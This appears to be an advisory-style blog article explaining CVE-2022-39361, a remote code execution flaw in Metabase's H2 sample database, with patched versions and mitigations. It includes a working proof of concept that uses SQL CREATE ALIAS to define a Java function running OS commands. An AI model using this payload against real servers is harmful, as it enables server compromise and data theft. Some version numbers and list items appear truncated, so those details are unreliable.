Metabase makes it easy for anyone to explore and visualize data. But in late 2022, a critical security issue was discovered that could let attackers run code on a Metabase server—just by abusing its sample H2 database. This bug, known as CVE-2022-39361, affected several old versions of Metabase, putting countless dashboards and company data at risk.

In this article, we’ll explain what happened in plain language, show how the vulnerability can be exploited, and walk you through how it was patched. We’ll also share best practices to keep your Metabase instances safe.

What is Metabase and the H2 Sample Database?

Metabase is one of the most popular open-source tools for creating charts, dashboards, and visual analytics on almost any data source. To make it easy to get started, Metabase ships with a built-in “Sample Database” powered by H2—an in-memory SQL database written in Java.

This H2 database lets anyone with access to Metabase quickly play with example data, run queries, and test features before connecting their own data sources. However, H2 also supports some advanced features that, if not properly secured, can be dangerous.

How Did CVE-2022-39361 Work?

In Metabase versions before .44.5 (and a series of other versions listed below), there were no strict controls over what kind of SQL statements users could execute on the H2 Sample Database. By design, users could write and run native SQL queries—opening the door to dangerous SQL commands like CREATE ALIAS, which allows running arbitrary Java code.

That means anyone who could write SQL queries in Metabase’s H2 “Sample Database” could also execute code on the host system—a classic Remote Code Execution (RCE) scenario.

1.41.8 and earlier (fixed in 1.41.9)

You’re safe if you’re running:  
.44.5, 1.44.5, .43.7, 1.43.7, .42.6, 1.42.6, .41.9, 1.41.9 or newer.

Practical Exploit: How Does the Attack Work?

Let’s say an attacker has a login to your Metabase server and can write native SQL queries against the “Sample Database.”

The attacker creates a malicious Java alias via SQL

H2 lets you define custom Java methods (known as aliases) that can do almost anything Java can—like spinning up a shell.

Exploit Example: Get a Shell

Here’s a minimal proof-of-concept:

In Metabase’s native SQL editor, targeting the H2 Sample Database, submit

-- 1. Create an alias that launches a shell
CREATE ALIAS SHELL AS $$ String exec(String cmd) throws java.io.IOException { 
    return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); 
} $$;

-- 2. Execute an OS command, for example listing files in /
CALL SHELL('ls /');

What happens:

The first query creates a Java function (SHELL) that executes any OS command.

- The second query calls it, running ls / on the server!

The output is returned in Metabase’s SQL editor.

The attacker can run any command that the Metabase server has access to!

> Note: For a more detailed explanation of H2 SQL aliases and their risks, see this H2 documentation.

Real-World Impact

- Anyone with “native SQL” permissions on the H2 Sample Database could run code on the Metabase host—read files, create backdoors, pivot to other servers, or extract secrets.
- In default setups, Metabase’s “Sample Database” is accessible to most users, especially in evaluation or demo installations.

Remediation and Patched Versions

The fix:  
The Metabase team patched the vulnerability in the following versions by no longer allowing DDL statements (like CREATE ALIAS) in H2 native queries. Here’s the key commit:
- Metabase GitHub advisory
- CVE details on GitHub

You must upgrade to any of these or later

- .44.5 / 1.44.5
- .43.7 / 1.43.7
- .42.6 / 1.42.6
- .41.9 / 1.41.9

Update Metabase. Always use the latest stable version.

2. Restrict Sample Database access. Only give “native SQL” rights to trusted users, especially for demo sources.  
3. Don’t expose Metabase to the public internet. Use VPNs, firewalls, and strong authentication.

Useful References

- GitHub Security Advisory: Metabase
- NVD CVE-2022-39361
- Metabase Release Notes
- H2 Database SQL Features
- Security best practices for Metabase

Conclusion

CVE-2022-39361 is a sharp reminder that even “sample” demo tools can become attack vectors. In Metabase, H2’s flexibility opened a backdoor for anyone with query access—potentially leading to full server compromise. If you use Metabase, update today and review your user permissions. And remember: treat sample and demo environments with as much care as production!

Timeline

Published on: 10/26/2022 19:15:00 UTC
Last modified on: 10/28/2022 16:43:00 UTC